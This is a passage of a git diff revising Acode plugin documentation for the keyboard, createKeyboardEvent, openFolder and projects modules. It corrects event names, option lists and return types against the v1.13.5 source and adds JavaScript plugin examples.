 - Arrow keys: `ArrowLeft`, `ArrowRight`, `ArrowUp`, `ArrowDown`
-- Special keys: `Enter`, `Tab`, `Backspace`, `Delete`, `Escape`, `Space`
-- Modifier keys: `Shift`, `Control`, `Alt`, `Meta`
-- Function keys: `F1`-`F12`
-- Printable characters: `a-z`, `A-Z`, `0-9`, symbols
+- Navigation: `Home`, `End`, `PageUp`, `PageDown`
+- Editing: `Backspace`, `Delete`, `Insert`, `Tab`, `Enter`, `Escape`
+- Modifiers: `Shift`, `Control`, `Alt`, `Meta` (the table also has the side-specific `ShiftLeft` / `ControlLeft` / `AltLeft`)
+- Lock / misc: `CapsLock`, `Pause`
+- Space is the table's `32` entry — the key name is the literal string `" "`, **not** `"Space"`
+- Printable characters: `a-z`, `A-Z`, `0-9`, and punctuation, matched literally
+- Named keys outside the table (`F1`-`F12`, `Home`, `Insert`, …) reach your listener as-is, but will **not** get a correct `keyCode`
+
+## Why a plugin would synthesize one
+
+Acode's own `keyboard` module is the reference implementation: `src/handlers/keyboard.js:75-82` builds a `keydown` from a document-level key press and dispatches it straight onto `editorManager.editor.contentDOM`, so a hardware shortcut pressed while focus is outside the editor still reaches CodeMirror's keymap.
+
+```js
+// Forward a shortcut into the active editor, the way Acode does.
+acode.setPluginInit('com.example.forward-keys', (baseUrl) => {
+		const createKeyboardEvent = acode.require('createKeyboardEvent');
+
+		const editor = window.editorManager?.editor;
+		const target = editor?.contentDOM;
+		if (!target) return;
+
+		const forward = (event) => {
+				const $from = event.target;
+				if ($from instanceof HTMLElement) {
+						if (
+								$from.isContentEditable ||
+								$from.closest('.prompt, #palette') ||
+								$from instanceof HTMLInputElement ||
+								$from instanceof HTMLTextAreaElement ||
+								$from instanceof HTMLSelectElement
+						) {
+								return;
+						}
+				}
+				if (!event.ctrlKey && !event.shiftKey && !event.altKey && !event.metaKey) return;
+				if (['Control', 'Alt', 'Meta', 'Shift'].includes(event.key)) return;
+				// Already inside the editor — CodeMirror has seen it, don't replay.
+				if ($from === target || target.contains?.($from)) return;
+
+				target.dispatchEvent(
+						createKeyboardEvent('keydown', {
+								key: event.key,
+								ctrlKey: event.ctrlKey,
+								shiftKey: event.shiftKey,
+								altKey: event.altKey,
+								metaKey: event.metaKey,
+						}),
+				);
+		};
+
+		document.addEventListener('keydown', forward);
+
+		acode.setPluginUnmount('com.example.forward-keys', () => {
+				document.removeEventListener('keydown', forward);
+		});
+});
+```
+
+Other legitimate uses: driving a CodeMirror command from a plugin UI button, unit-testing a plugin's own keymap without a hardware keyboard, and replaying a captured combo into a focused input.
+
+## See also
+
+- [`acode.require("keyboard")`](./keyboard.md) — the module that calls this factory.
+- [`acode.require("commands")`](./commands.md) — the supported way to bind real shortcuts.
diff --git a/docs/utilities/keyboard.md b/docs/utilities/keyboard.md
index 6ada4bd..d7917a1 100644
--- a/docs/utilities/keyboard.md
+++ b/docs/utilities/keyboard.md
@@ -1,6 +1,10 @@
 # Keyboard API
 
-The Keyboard API provides functionality for handling keyboard events and managing keyboard state in Acode plugins. It allows you to detect keyboard visibility, respond to keyboard events, and manage keyboard-related behaviors.
+The Keyboard API provides functionality for handling keyboard events and managing keyboard state in Acode plugins. It allows you to detect keyboard visibility and react to the soft keyboard opening and closing.
+
+::: info
+Verified against Acode **v1.13.5**: `src/handlers/keyboard.js` (registered in `src/lib/acode.js` as `this.define("keyboard", keyboardHandler)`).
+:::
 
 ## Usage
 
@@ -8,15 +12,50 @@ The Keyboard API provides functionality for handling keyboard events and managin
 const keyboard = acode.require('keyboard');
 ```
 
+::: warning
+`acode.require('keyboard')` returns the **`keyboardHandler` function itself**, not a plain object. The export is `export default function keyboardHandler(e) { … }`, so the module *is* the document-level `keydown` listener that Acode installs at `src/main.js:101`. The only members attached to it are `.on()` and `.off()`. There is no `addEventListener`, no `removeEventListener`, no `emit`, and no `key` emitter.
+:::
+
 ## Events
 
-The keyboard module emits the following events that you can listen to:
+The module declares five event names (`src/handlers/keyboard.js:16-22`), but only **four** are ever emitted in v1.13.5:
+
+| Event | Emitted at | Meaning |
+|---|---|---|
+| `keyboardShowStart` | `keyboard.js:120` | Soft keyboard is starting to appear |
+| `keyboardHideStart` | `keyboard.js:126` | Soft keyboard is starting to disappear |
+| `keyboardHide` | `keyboard.js:148` | Soft keyboard finished hiding |
+| `keyboardShow` | `keyboard.js:150` | Soft keyboard finished showing |
+| `key` | — | **Never emitted.** The bucket exists in the event map (`keyboard.js:17`) but `emit("key")` is not called anywhere in the source tree |
+
+::: danger
+`emit()` invokes listeners as `cb()` — **with no arguments** (`src/handlers/keyboard.js:186`):
+
+```js
+function emit(eventName) {
+		if (!event[eventName]) return;
+		event[eventName].forEach((cb) => cb());
+}
+```
+
+So `keyboard.on('keyboardShow', (state) => …)` receives `undefined`. No event object, no height, no flags. Anything you need must be read from `window.innerHeight` / `window.innerWidth` inside the callback.
+:::
+
+### How the soft keyboard is detected
+
+The `keyboard*` events are derived from window geometry, not from a keyboard API:
+
+1. Acode wires `window.addEventListener("resize", windowResize)` (`src/main.js:98`).
+2. `windowResize` fires `resizeStart` immediately, then `resize` after a **100 ms** idle debounce (`src/handlers/windowResize.js:28-33`).
+3. On `resizeStart`, the handler reads `getSystemConfiguration()` from the native `System` Cordova plugin (`src/lib/systemConfiguration.js:50`) and compares `keyboardHeight` against `MIN_KEYBOARD_HEIGHT`. That threshold starts at `100` and is raised to `bannerAdHeight + 10` once an `admob.banner.size` event arrives (`keyboard.js:15`, `keyboard.js:104-107`).
+4. Everything is gated on there being **no external keyboard**: `hardKeyboardHidden === HARDKEYBOARDHIDDEN_NO` (which is `1`, `systemConfiguration.js:1`).
 
-- `key` - Triggered when a keyboard key is pressed
-- `keyboardShow` - Triggered when the soft keyboard becomes visible
-- `keyboardHide` - Triggered when the soft keyboard is hidden
-- `keyboardShowStart` - Triggered when the soft keyboard starts to show
-- `keyboardHideStart` - Triggered when the soft keyboard starts to hide
+Consequences worth knowing:
+
+- If a Bluetooth/USB keyboard is attached, **none** of the four events fire.
+- `keyboardShow` / `keyboardHide` additionally require `softKeyboardHeight` to be truthy (`keyboard.js:143`), which is only set on a `resizeStart` where the height *decreased*.
+- `keyboardShowStart` / `keyboardHideStart` only fire on the *direction* of the height change; `keyboardHide` / `keyboardShow` fire on the settled geometry.
+- A split/floating keyboard that does not shrink the window is undetectable — the source comments this explicitly (`windowResize.js:18-19`).
 
 ## Methods
 
@@ -29,18 +68,13 @@ keyboard.on('keyboardShow', () => {
 		// Handle keyboard show
 		console.log('Keyboard is now visible');
 });
-
-keyboard.on('key', (event) => {
-		// Handle key press
-		if (event.key === 'Enter' && event.ctrlKey) {
-				console.log('Ctrl+Enter pressed');
-		}
-});
 ```
 
 Parameters:
-- `eventName` (string) - Name of the event to listen for ('key', 'keyboardShow', 'keyboardHide', etc.)
-- `callback` (Function) - Function to execute when the event occurs
+- `eventName` (string) - Name of the event to listen for (`'keyboardShowStart'`, `'keyboardHideStart'`, `'keyboardShow'`, `'keyboardHide'`, or the inert `'key'`)
+- `callback` (Function) - Function to execute when the event occurs. It is called with **no arguments**.
+
+An unknown `eventName` is silently ignored — the guard is `if (!event[eventName]) return;` (`keyboard.js:164`). Registering the same function twice registers it twice, because `on()` only pushes onto the array (`keyboard.js:165`).
 
 ### off(eventName, callback)
 
@@ -59,20 +93,63 @@ keyboard.off('keyboardShow', keyboardCallback);
 ```
 
 Parameters:
-- `eventName` (string) - Name of the event to remove listener from
-- `callback` (Function) - The callback function to remove
+- `eventName` (string) - Name of the event to remove the listener from
+- `callback` (Function) - **The same function reference** that was passed to `on()`
+
+`off()` filters by strict identity (`keyboard.js:176`), so an inline arrow function can never be removed — keep a reference. There is no `once()`, no "remove all", and no return value from either method.
 
-### escKey State
+### Escape key state — `escKey` is **not** exposed
 
-The keyboard API includes an `escKey` state that tracks whether the Escape key is currently pressed:
+::: danger
+Earlier versions of this page documented a `keyboard.escKey` property. **It does not exist in v1.13.5.** The Escape state lives in a separate named export, `keydownState` (`src/handlers/keyboard.js:30-50`), and that object is *not* reachable through `acode.require("keyboard")` — `acode.js:433` registers only the default export. `keydownState` is consumed internally by `src/main.js:985` (to swallow the Android Back button after Escape) and `src/lib/editorManager.js:4474`.
+
+The only public way to see an Escape press is your own DOM listener:
 
 ```js
-// Check if Escape key is pressed
-if (keyboard.escKey) {
-		console.log('Escape key is pressed');
-}
+document.addEventListener('keydown', (event) => {
+		if (event.key === 'Escape') {
+				console.log('Escape key is pressed');
+		}
+});
+```
+:::
+
+## Key events and the payload shape
+
+Because `key` is never emitted, **there is no key payload from this module**. To observe hardware keys, subscribe to the DOM directly — the object you get is a normal `KeyboardEvent`:
+
+```js
+document.addEventListener('keydown', (event) => {
+		// event.key, event.code, event.keyCode, event.which
+		// event.ctrlKey / shiftKey / altKey / metaKey
+		// event.target, event.repeat, event.location
+		// event.preventDefault() / event.stopPropagation()
+});
 ```
 
+Acode itself already installs one such listener (`src/main.js:101` → `keyboardHandler`) whose only job is to **forward** modifier combos into CodeMirror. From `keyboard.js:56-83` the exact policy is:
+
+1. If the target is an `<input>`, `<textarea>`, `<select>`, `contentEditable`, or inside `.prompt` / `#palette`, the combo is left alone — return early (`keyboard.js:91-101`).
+2. If no modifier is held (`ctrlKey`/`shiftKey`/`altKey`/`metaKey` all false), return (`keyboard.js:65`).
+3. If the pressed key *is* a bare modifier (`Control`, `Alt`, `Meta`, `Shift`), return (`keyboard.js:66`).
+4. If there is no active CodeMirror `contentDOM`, return (`keyboard.js:68-69`).
+5. If the event already came from inside the editor, return — never re-dispatch (`keyboard.js:73`).
+6. Otherwise synthesise a `keydown` with `createKeyboardEvent` and dispatch it on the editor's `contentDOM` (`keyboard.js:75-82`).
+
+### Consuming keys without breaking normal editing
+
+::: tip
+Prefer `acode.require("commands").addCommand({ bindKey })` over a raw `keydown` listener. Acode stores bindings in the global `KEYBINDING_FILE` (`DATA_STORAGE/.key-bindings.json`), applies them through `refreshCommandKeymap(view)` (`src/cm/commandRegistry.js:1772`), and `normalizeExternalKey` (`commandRegistry.js:1815`) accepts either a single combo string or `{ win, linux, mac }`. You get palette listing, conflict detection and a toast when the user changes them — for free.
+:::
+
+If you must listen manually, mirror the policy above:
+
+- Bind to `keydown` on `document` (or `window`) and **do not** call `preventDefault()` unless you actually consume the combo, or you will break text editing and CodeMirror commands.
+- Skip the event when `event.target` is an input, textarea, select, contentEditable, or inside `.prompt` / `#palette` — that is exactly Acode's own `shouldIgnoreEditorShortcutTarget` check.
+- Skip when the event already came from `editorManager.editor.contentDOM` or one of its descendants, otherwise you and Acode both forward it and the command runs twice.
+- Skip bare modifier keydowns (`event.key` in `['Control', 'Alt', 'Meta', 'Shift']`).
+- Always `off()` on unmount — see [`acode.setPluginUnmount`](../global-apis/acode.md#setpluginunmount-pluginid-string-unmount-function) and the `off()` note above.
+
 ## Example Plugin
 
 Here's a complete example of using the keyboard API in an Acode plugin:
@@ -80,35 +157,77 @@ Here's a complete example of using the keyboard API in an Acode plugin:
 ```js
 class KeyboardPlugin {
 		constructor() {
-				const keyboard = acode.require('keyboard');
+				this.keyboard = acode.require('keyboard');
+				this._onShow = this._onShow.bind(this);
+				this._onHide = this._onHide.bind(this);
+				this._onDocKeydown = this._onDocKeydown.bind(this);
+		}
 
-				// Add keyboard show/hide listeners
-				keyboard.on('keyboardShow', () => {
-						acode.alert('Keyboard shown');
-				});
+		_onShow() {
+				// No payload is passed — read the geometry yourself.
+				console.log('soft keyboard visible, innerHeight =', window.innerHeight);
+		}
 
-				keyboard.on('keyboardHide', () => {
-						acode.alert('Keyboard hidden');
-				});
+		_onHide() {
+				console.log('soft keyboard hidden, innerHeight =', window.innerHeight);
+		}
 
-				// Listen for Ctrl+S shortcut
-				keyboard.on('key', (e) => {
-						if (e.key === 's' && e.ctrlKey) {
-								acode.alert('Saving file...');
+		_onDocKeydown(event) {
+				// Mirror Acode's own ignore rules so we never steal typing.
+				const $target = event.target;
+				if ($target instanceof HTMLElement) {
+						if (
+							$target.isContentEditable ||
+							$target.closest('.prompt, #palette') ||
+							$target instanceof HTMLInputElement ||
+							$target instanceof HTMLTextAreaElement ||
+							$target instanceof HTMLSelectElement
+						) {
+								return;
 						}
-				});
+				}
+				if (['Control', 'Alt', 'Meta', 'Shift'].includes(event.key)) return;
+
+				// Ctrl+Alt+S → save. "save" is a real command key
+				// (src/lib/commands.js:508), and Acode ignores events that
+				// already originate inside the editor, so no double-run.
+				if (event.ctrlKey && event.altKey && event.key.toLowerCase() === 's') {
+						acode.exec('save');
+				}
+		}
+
+		mount() {
+				this.keyboard.on('keyboardShow', this._onShow);
+				this.keyboard.on('keyboardHide', this._onHide);
+				document.addEventListener('keydown', this._onDocKeydown);
+		}
+
+		unmount() {
+				this.keyboard.off('keyboardShow', this._onShow);
+				this.keyboard.off('keyboardHide', this._onHide);
+				document.removeEventListener('keydown', this._onDocKeydown);
 		}
 }
 
 if (window.acode) {
-		const acodePlugin = new KeyboardPlugin();
-		acode.setPluginInit("keyboard-example", (baseUrl, $page, { cacheFile, cacheFileUrl }) => {
-				if (!acodePlugin.initialized) {
-						acodePlugin.initialized = true;
-						// Initialize plugin
-				}
+		const keyboardPlugin = new KeyboardPlugin();
+		acode.setPluginInit('keyboard-example', (baseUrl, $page) => {
+				if (keyboardPlugin.mounted) return;
+				keyboardPlugin.mounted = true;
+				keyboardPlugin.mount();
+		});
+		// Always register the teardown — the editor calls it on unmount.
+		acode.setPluginUnmount('keyboard-example', () => {
+				keyboardPlugin.mounted = false;
+				keyboardPlugin.unmount();
 		});
 }
 ```
 
 This example demonstrates listening for keyboard visibility changes and implementing custom keyboard shortcuts in an Acode plugin.
+
+## See also
+
+- [`acode.require("createKeyboardEvent")`](./keyboard-event.md) — the factory Acode uses in step 6 above.
+- [`acode.require("windowResize")`](./window-resize.md) — the underlying resize source.
+- [`acode.require("commands")`](./commands.md) — bindable `bindKey` shortcuts.
diff --git a/docs/utilities/open-folder.md b/docs/utilities/open-folder.md
index 728dc2f..8db0637 100644
--- a/docs/utilities/open-folder.md
+++ b/docs/utilities/open-folder.md
@@ -2,6 +2,10 @@
 
 The OpenFolder utility allow to open and manage folders within the side bar of the application. This utility provides various functionalities for handling folder operations, such as opening, removing, reloading, and maintaining state.
 
+::: info
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/lib/openFolder.js`. `openFolder(_path, opts)` reads only the five options documented below; the file/folder mutation helpers are **static properties on the function** (`openFolder.add`, `.renameItem`, `.removeItem`, `.removeFolders`, `.find`), not methods on the folder object.
+:::
+
 ## Usage
 To use the `OpenFolder` utility, you need to require it using the Acode's module system and call the `openFolder` function with the appropriate parameters.
 
@@ -14,14 +18,25 @@ To use the OpenFolder, it needs to be imported into plugin as shown below:
 const openFolder = acode.require('openFolder');
 ```
 
+`acode.require()` lowercases module names, so `acode.require('openfolder')` returns the identical function.
+
 ### Parameters
 The `openFolder` function accepts two parameters:
-1. `_path` (string): The path of the folder to be opened. This is a `required` parameter.
+1. `_path` (string): The path (URL) of the folder to be opened. This is a `required` parameter.
 2. `opts` (object): An optional object containing additional options for the folder. It includes:
-   - `name` (string): A name to be assigned to the folder. If not provided, the folder's name from the file system will be used.
-   - `id` (string): An ID to be assigned to the folder. If not provided, an ID will be automatically generated.
-   - `saveState` (boolean): Indicates whether the state of the folder should be saved when the user closes it. The default value is `true`.
-   - `reloadOnResume` (boolean): Indicates whether the folder should be reloaded when the user reopens it. The default value is `true`.
+   - `name` (string): **Required.** The title shown for the folder in the sidebar. Omitting it **throws** `Error("Folder name is required")` — it is *not* derived from the file system.
+   - `id` (string): An ID to be assigned to the folder. If not provided, `folder.id` is `undefined`.
+   - `saveState` (boolean): Whether the expanded/collapsed state of the folder's sub-directories should be remembered while the folder is open. The default value is `true`.
+   - `listFiles` (boolean): Whether the folder's files should be registered in the file list. When omitted it falls back to `acode.require("settings").value.fileBrowser?.listFiles ?? true`.
+   - `listState` (object): Previously captured expanded state as a plain `{ [dirUrl]: boolean }` map. Defaults to `{}`.
+
+::: warning There is no `reloadOnResume` option
+Older revisions of this page documented `reloadOnResume` (and "the folder's name from the file system" as the title fallback). Neither exists in v1.13.5: `openFolder()` reads only `name`, `id`, `saveState`, `listFiles` and `listState`. Passing `reloadOnResume` is silently ignored, and passing no `name` throws synchronously.
+:::
+
+::: warning `listState` is read as a plain object
+The JSDoc types it as `Map<string, boolean>`, and some internals do understand a `Map`, but the hot paths index it directly (`listState[url]`, `listState[_path]`) and the file tree reads `expandedState[url]`. Pass a **plain object**; a real `Map` will silently lose its entries.
+:::
 
 ### Example
 ```javascript:line-numbers
@@ -30,80 +45,252 @@ const options = {
   name: 'My Documents',
   id: 'folder-1',
   saveState: false,
-  reloadOnResume: false,
+  listFiles: true,
 };
-openFolder('/path/to/my/documents', options);
+openFolder('file:///sdcard/My Documents', options);
 ```
-In this example, the folder at `/path/to/my/documents` will be opened in the sidebar, assigned the name "My Documents" and the ID "folder-1". The state of the folder will not be saved when closed, and it will not be reloaded when reopened.
+In this example, the folder at `file:///sdcard/My Documents` will be opened in the sidebar with the title "My Documents" and `id` `"folder-1"`. Because `saveState` is `false`, expanding and collapsing its sub-folders will not be remembered.
 
 ## API
 
 ### `openFolder(_path, opts)`
+
 Opens the specified folder in the sidebar.
 
+```js
+/**
+ * Open a folder in the sidebar
+ * @param {string} _path Folder URL
+ * @param {object} [opts]
+ * @param {string} opts.name Title shown in the sidebar (required)
+ * @param {string} [opts.id]
+ * @param {boolean} [opts.saveState=true]
+ * @param {boolean} [opts.listFiles] Defaults to acode.require("settings").value.fileBrowser?.listFiles ?? true
+ * @param {object} [opts.listState={}] Expanded state as { [dirUrl]: boolean }
+ * @returns {void}
+ */
+```
+
 **Parameters:**
-- `_path` (string): Path of the folder.
+- `_path` (string): Path (URL) of the folder.
 - `opts` (object): Options for the folder.
 
 **Options:**
-- `name` (string): Name of the folder.
+- `name` (string): Title of the folder. Required.
 - `id` (string): ID for the folder.
-- `saveState` (boolean): Save the state of the folder.
-- `listFiles` (boolean): List all files recursively.
-- `listState` (object): State of the listed files.
+- `saveState` (boolean): Remember expanded state of sub-directories. Default `true`.
+- `listFiles` (boolean): List the folder's files in the file index.
+- `listState` (object): Previously saved expanded state.
+
+**Return value:** `undefined`. The call is **synchronous and does not prompt the user** — no dialog, no loader, no permission request. A folder object is pushed onto [`addedFolder`](../global-apis/added-folder.md) instead; grab it with `openFolder.find(_path)` if you need a handle.
+
+**Side effects**, in order:
+
+1. Returns immediately (no-op) if a folder with the exact same `url` is already open.
+2. Creates the sidebar list element, sets `$root.id = "r" + path.hashCode()`, and appends it to the `files` sidebar app.
+3. Records the folder in the recents list (`recents.addFolder(path, opts)`).
+4. Pushes a `Folder` object onto `addedFolder`.
+5. Emits `update` (`"add-folder"`), then `add-folder` on `editorManager`.
+6. Registers the folder as a file-list root when `listFiles` is truthy.
+7. Auto-expands the root when `listState[path]` is truthy.
+
+::: danger Errors are synchronous
+A missing `name` throws **synchronously** — `openFolder(path)` is not an async function, so `try { … } catch` around a plain call is required, and an `await` will not convert it into a rejection:
+
+```js
+try {
+  openFolder(folderUrl);                 // throws Error("Folder name is required")
+} catch (error) {
+  acode.toast(error.message, 3000);
+}
+```
+:::
+
+### Errors and unsupported paths <Badge type="tip" text="new" />
+
+`openFolder()` never checks that the path exists, so a typo'd URL still produces a sidebar entry. The failure only surfaces when the user expands it — the app collapses the folder again and reports the error. Verify first:
+
+```js
+const fs = acode.require("fs");
+if (await fs(folderUrl).exists()) {
+  openFolder(folderUrl, { name: "My Documents" });
+}
+```
 
 ## Methods
 
 ### `remove()`
-Removes the folder from the sidebar.
+Removes the folder from the sidebar. This is a property of the **folder object** from [`addedFolder`](../global-apis/added-folder.md), not of `openFolder`:
+
+```js
+const folder = acode.require("addedFolder").find((f) => f.url === folderUrl);
+folder?.remove();
+```
+
+`remove()` also drops the file-list root (`FileList.remove(path)`) and emits `update` (`"remove-folder"`) followed by `remove-folder` on `editorManager`. It removes the sidebar entry only — it does **not** delete anything from disk.
 
 ### `reload()`
-Reloads the folder in the sidebar.
+Reloads the folder in the sidebar — a property of the folder object, and implemented as `collapse()` followed by `expand()`, i.e. it destroys and rebuilds the file tree:
+
+```js
+folder.reload();
+```
 
 ### Adding Files and Folders
 You can also dynamically add files and folders to the opened folder.
 
+`openFolder.add(url, type)` is a static property. It appends the entry to the file list (`FileList.append`) and inserts it into every **expanded** view of its parent directory. It returns a `Promise` because it stats the parent to resolve the parent URL:
+
 **Example:**
 ```javascript
-openFolder.add('/path/to/newFile.txt', 'file');
-openFolder.add('/path/to/newFolder', 'folder');
+await openFolder.add('/path/to/newFile.txt', 'file');
+await openFolder.add('/path/to/newFolder', 'folder');
 ```
 
+| Parameter | Type | Description |
+| --- | --- | --- |
+| `url` | `string` | URL of the entry to show. |
+| `type` | `'file' \| 'folder'` | Which list/tile to render. Anything other than `'folder'` renders a file tile. |
+
+::: warning Real URLs required
+Both parameters are raw URLs, and `add()` calls `stat()` on the parent, so a placeholder like `/path/to/newFile.txt` rejects. Pass a full `file://` / `content://` URL.
+:::
+
 ### Renaming Items
-To rename an existing file or folder:
+To rename an existing file or folder, call `openFolder.renameItem(oldUrl, newUrl)`:
+
 ```javascript
-openFolder.renameItem('/path/to/oldFile.txt', '/path/to/newFile.txt', 'newFile.txt');
+openFolder.renameItem('file:///sdcard/oldFile.txt', 'file:///sdcard/newFile.txt');
 ```
 
+It takes **exactly two arguments** — the old and the new URL. Any third argument is ignored. It does **not** touch the file system: it renames the entry in the file list (`FileList.rename`), repoints every open editor file whose `uri` was the old URL (`helpers.updateUriOfAllActiveFiles`), and refreshes and re-keys the expanded state of any affected folder. Perform the actual rename with `fs(url).renameTo(newName)` first, then call this.
+
 ### Removing Items
 To remove an existing file or folder:
+
 ```javascript
-openFolder.removeItem('/path/to/fileOrFolder');
+openFolder.removeItem('file:///sdcard/fileOrFolder');
 ```
 
+It removes the entry from the file list (`FileList.remove`). If `url` is itself an **open folder root**, it calls that folder's `remove()` (closing the folder) and returns; otherwise it drops the rendered entry from every expanded tree. It does not delete anything from disk.
+
 ### Removing Folders
 To remove multiple folders based on a URL pattern:
 ```javascript
-openFolder.removeFolders('/path/to/baseFolder');
+openFolder.removeFolders('file:///sdcard/Project');
 ```
+Every open folder whose URL **is or is nested below** the given URL is closed (`Url.isSameOrDescendant`), so this is the call to make when a whole remote storage goes away.
 
 ### Finding Folders
-To find a folder containing a specific URL:
+To find the folder containing a specific URL:
 ```javascript
-const folder = openFolder.find('/path/to/fileOrFolder');
+const folder = openFolder.find('file:///sdcard/fileOrFolder');
 ```
+It matches the exact folder URL first, then falls back to the nearest folder that contains the URL as a descendant. Returns `undefined` when no open folder covers the URL, so always optional-chain.
 
 ## Event Handling
-The `openFolder` utility emits various events to help manage folder operations:
-- `add-folder`
-- `remove-folder`
-- `update-folder`
+The `openFolder` utility emits various events on the **global `editorManager`** to help manage folder operations:
+- `add-folder` — a folder was just opened.
+- `remove-folder` — a folder was closed.
+- `update` — fired with the sub-event name as its first argument (`"add-folder"`, `"remove-folder"`, `"delete-file"`, `"delete-folder"`, `"switch-file"`, …). The editor also re-emits this as `update:add-folder`, `update:remove-folder`, etc.
+
+There is **no `update-folder` event**; use `update` with the sub-event name, or listen for `add-folder` / `remove-folder` directly.
+
+Both folder events receive `{ url, name }`.
 
 These events can be listened to for performing custom actions upon folder operations.
 
 **Example:**
 ```javascript
-editorManager.on('add-folder', (event) => {
-  console.log('Folder added:', event);
+const addedFolder = acode.require('addedFolder');
+
+function onAddFolder(event) {
+  console.log('Folder added:', event.url, event.name);
+  // The folder object is already on addedFolder by the time this fires.
+  console.log(addedFolder.find((f) => f.url === event.url));
+}
+
+function onRemoveFolder(event) {
+  console.log('Folder removed:', event.url);
+}
+
+function onUpdate(subEvent) {
+  // Generic hook: receives the sub-event name.
+  if (subEvent === 'add-folder' || subEvent === 'remove-folder') {
+    console.log(subEvent, addedFolder.length, 'folder(s) open');
+  }
+}
+
+acode.setPluginInit(plugin.id, () => {
+  editorManager.on('add-folder', onAddFolder);
+  editorManager.on('remove-folder', onRemoveFolder);
+  editorManager.on('update', onUpdate);
+});
+
+acode.setPluginUnmount(plugin.id, () => {
+  editorManager.off('add-folder', onAddFolder);
+  editorManager.off('remove-folder', onRemoveFolder);
+  editorManager.off('update', onUpdate);
+});
+```
+
+::: info Unsubscribe with `off`
+`editorManager.on(types, callback)` accepts one event name or an array; `editorManager.off(types, callback)` removes **by function identity**, so keep the exact reference you passed to `on`. There is no `once` helper — wrap the body and call `off` inside it if you need one-shot behaviour.
+:::
+
+## Complete Example <Badge type="tip" text="new" />
+
+```js
+const fs = acode.require("fs");
+const openFolder = acode.require("openFolder");
+const addedFolder = acode.require("addedFolder");
+
+const FOLDER_URL = `${CACHE_STORAGE}/my-plugin/workspace`;
+
+function onAddFolder({ url, name }) {
+  acode.toast(`Watching ${name}`, 1500);
+}
+
+function onUpdate(subEvent) {
+  if (subEvent === "remove-folder") {
+    acode.toast(`${addedFolder.length} folder(s) left`, 1500);
+  }
+}
+
+acode.setPluginInit(plugin.id, async () => {
+  // 1. Make sure the folder exists before asking the sidebar to show it.
+  await fs(CACHE_STORAGE).createDirectory("my-plugin");
+  await fs(`${CACHE_STORAGE}/my-plugin`).createDirectory("workspace");
+
+  if (!(await fs(FOLDER_URL).exists())) {
+    acode.toast("Workspace folder is missing", 3000);
+    return;
+  }
+
+  // 2. Open it. A missing name throws synchronously.
+  try {
+    openFolder(FOLDER_URL, {
+      name: "Plugin workspace",
+      id: "my-plugin-workspace",
+      saveState: true,
+      listFiles: false,
+    });
+  } catch (error) {
+    acode.toast(`Could not open folder: ${error.message}`, 3000);
+    return;
+  }
+
+  // 3. React to folder changes.
+  editorManager.on("add-folder", onAddFolder);
+  editorManager.on("update", onUpdate);
+});
+
+acode.setPluginUnmount(plugin.id, () => {
+  editorManager.off("add-folder", onAddFolder);
+  editorManager.off("update", onUpdate);
+
+  // Close only this plugin's folder, then delete what it created.
+  addedFolder.find((f) => f.id === "my-plugin-workspace")?.remove();
+  fs(`${CACHE_STORAGE}/my-plugin`).delete().catch(console.error);
 });
 ```
diff --git a/docs/utilities/projects.md b/docs/utilities/projects.md
index 5ac98ec..c71b7e7 100644
--- a/docs/utilities/projects.md
+++ b/docs/utilities/projects.md
@@ -2,6 +2,10 @@
 
 This provide methods to manipulate project templates. This includes listing available projects, retrieving specific project details, and setting new project templates. This is particularly useful for creating and managing templates for different types of projects(frameworks), such as HTML templates, react, etc.
 
+::: info
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/lib/projects.js`. There are only four members — `list()`, `get()`, `set()` and `delete()`. A "project" here is purely a **name → file-template + icon** record; it has no root path, no editor session and no settings of its own.
+:::
+
 ## Importing Projects
 
 To use the Projects utilities, you need to import them using the `acode.require` method:
@@ -16,6 +20,8 @@ const projects = acode.require('projects');
 
 The `list` method returns an array of objects, each containing the name and icon of a project.
 
+It is **synchronous**, and each entry is built by invoking the project's own factory — so the built-in `html` project re-registers its icon CSS class on every call. Iterate it freely; there is no filtering argument.
+
 #### Example
 
 ```javascript
@@ -24,30 +30,46 @@ console.log(projectList);
 // Output: [{ name: 'html', icon: 'html-project-icon' }]
 ```
 
+| Member | Type | Description |
+| --- | --- | --- |
+| `name` | `string` | The key you pass to `get()`. |
+| `icon` | `string` | An **icon class name**, not a URL — e.g. `"html-project-icon"`. It is rendered with the app's `.icon` element and is registered through `acode.addIcon()`. |
+
 ### `get(name: string)`
 
-The `get` method takes a project name as an argument and returns an object containing the files and icon of that project.
+The `get` method takes a project name as an argument and returns an object containing the files and icon of that project. It returns `undefined` for an unknown name, so guard before use.
 
 #### Example
 
 ```javascript
-const projectDetails = projects.get('html');
-console.log(projectDetails);
-// Output: 
-// {
-//   files: {
-//     'index.html': '...',
-//     'css/index.css': '',
-//     'js/index.js': '',
-//   },
-//   icon: 'html-project-icon',
-// }
+async function readTemplate(name) {
+  const template = projects.get(name);
+  if (!template) return null;
+
+  template.icon;                  // "html-project-icon"
+
+  // files is a FUNCTION that must be awaited; it is not the map itself.
+  const files = await template.files();
+  // { "index.html": "...", "css/index.css": "", "js/index.js": "" }
+  return files;
+}
 ```
 
+::: warning `files` is a function, not a map
+`get()` hands back the template object without invoking `files`, so `projects.get(name).files` is `() => Promise<{...}>`. Awaiting it is mandatory — `console.log(projects.get('html'))` prints the function, not the files. This is exactly how the app consumes it in the file browser: `await projects.get(project).files()`.
+:::
+
+| Key | Type | Description |
+| --- | --- | --- |
+| `files` | `() => Promise<Record<string, string>>` | Async factory resolving to a map of **relative path → file content**. |
+| `icon` | `string` | Icon class name for the project. |
+
 ### `set(project: string, files: () => Promise<Map<string, string>>, iconSrc: string)`
 
 The `set` method allows you to add a new project template. It takes the project name, a function that returns a map of files, and an icon source as arguments.
 
+It is synchronous, returns nothing, and **overwrites** an existing project with the same name. The icon is registered under the class name `${project}-project-icon`, and that same string becomes the template's `icon`.
+
 #### Example
 
 ```javascript
@@ -62,10 +84,53 @@ const iconSrc = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEp
 projects.set('newProject', async () => projectFiles, iconSrc);
 ```
 
+| Parameter | Type | Description |
+| --- | --- | --- |
+| `project` | `string` | Project name — also the key used by `list()` / `get()` and the prefix of the icon class. |
+| `files` | `() => Promise<Record<string, string>>` | Async function returning the file map. Despite the `Map` in the JSDoc, **return a plain object** — the app reads it with `Object.keys()` and `project[fileUrl]`. |
+| `iconSrc` | `string` | A `data:` URL (or any CSS `url()` value) for the project icon. |
+
 :::warning
